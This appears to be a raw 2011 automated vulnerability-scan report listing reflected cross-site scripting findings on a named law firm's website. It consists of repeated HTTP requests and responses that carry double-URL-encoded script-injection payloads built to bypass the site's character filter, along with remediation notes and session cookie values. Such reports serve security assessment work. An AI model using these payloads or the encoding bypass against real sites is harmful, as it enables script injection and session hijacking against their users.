GET /css/ui81a0d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eee949bf1e89/ui.tabs.css HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:45 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b92b8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e93dc2b44d56 was submitted in the REST URL parameter 3. This input was echoed as b92b8"><script>alert(1)</script>93dc2b44d56 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/ui/ui.tabs.cssb92b8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e93dc2b44d56 HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:46 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f8b59%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb748a2e0a4d was submitted in the REST URL parameter 1. This input was echoed as f8b59"><script>alert(1)</script>b748a2e0a4d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /cssf8b59%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb748a2e0a4d/ui/ui.theme.css HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:20 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9f482%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5de43e0d372 was submitted in the REST URL parameter 2. This input was echoed as 9f482"><script>alert(1)</script>5de43e0d372 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/ui9f482%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5de43e0d372/ui.theme.css HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:21 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 20285%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9291800f59c was submitted in the REST URL parameter 3. This input was echoed as 20285"><script>alert(1)</script>9291800f59c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/ui/ui.theme.css20285%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9291800f59c HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:21 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 30fea%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e818c7828cb8 was submitted in the REST URL parameter 1. This input was echoed as 30fea"><script>alert(1)</script>818c7828cb8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /index.cfm30fea%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e818c7828cb8 HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:13:41 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
4.189. http://www.wileyrein.com/index.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.wileyrein.com
Path:
/index.cfm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e7f23"><script>alert(1)</script>472c4d98eb6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.cfm?e7f23"><script>alert(1)</script>472c4d98eb6=1 HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:13:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d732e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3c700324221 was submitted in the REST URL parameter 1. This input was echoed as d732e"><script>alert(1)</script>3c700324221 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /jsd732e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3c700324221/jq.equalheights.js HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:14:02 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f70d5%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0445fb7d91b was submitted in the REST URL parameter 2. This input was echoed as f70d5"><script>alert(1)</script>0445fb7d91b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /js/jq.equalheights.jsf70d5%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0445fb7d91b HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:14:03 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 67315%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e635a97b6d45 was submitted in the REST URL parameter 1. This input was echoed as 67315"><script>alert(1)</script>635a97b6d45 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /js67315%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e635a97b6d45/jquery.js HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:13:32 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d428a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e229db4da92d was submitted in the REST URL parameter 2. This input was echoed as d428a"><script>alert(1)</script>229db4da92d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /js/jquery.jsd428a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e229db4da92d HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:13:33 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a0519%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e056a75bdc24 was submitted in the REST URL parameter 1. This input was echoed as a0519"><script>alert(1)</script>056a75bdc24 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /jsa0519%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e056a75bdc24/menu.js HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:14:08 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72b32%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e99218231cb0 was submitted in the REST URL parameter 2. This input was echoed as 72b32"><script>alert(1)</script>99218231cb0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /js/menu.js72b32%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e99218231cb0 HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:14:09 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 651f5%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e51a543addfc was submitted in the REST URL parameter 1. This input was echoed as 651f5"><script>alert(1)</script>51a543addfc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /js651f5%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e51a543addfc/script.js HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:13:29 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a9d57%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6a7d4ade41c was submitted in the REST URL parameter 2. This input was echoed as a9d57"><script>alert(1)</script>6a7d4ade41c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /js/script.jsa9d57%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6a7d4ade41c HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:13:30 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2bbc8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5280505d079 was submitted in the REST URL parameter 1. This input was echoed as 2bbc8"><script>alert(1)</script>5280505d079 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /js2bbc8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5280505d079/ui.core.js HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:13:34 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 79a0d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e713c91dcce2 was submitted in the REST URL parameter 2. This input was echoed as 79a0d"><script>alert(1)</script>713c91dcce2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /js/ui.core.js79a0d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e713c91dcce2 HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:13:35 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33f74%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e75df592a80d was submitted in the REST URL parameter 1. This input was echoed as 33f74"><script>alert(1)</script>75df592a80d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /js33f74%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e75df592a80d/ui.datepicker.js HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:14:02 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29ad5%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee294e4483ea was submitted in the REST URL parameter 2. This input was echoed as 29ad5"><script>alert(1)</script>e294e4483ea in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /js/ui.datepicker.js29ad5%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee294e4483ea HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:14:03 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fe969%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec77ca9823dd was submitted in the REST URL parameter 1. This input was echoed as fe969"><script>alert(1)</script>c77ca9823dd in the application's response.
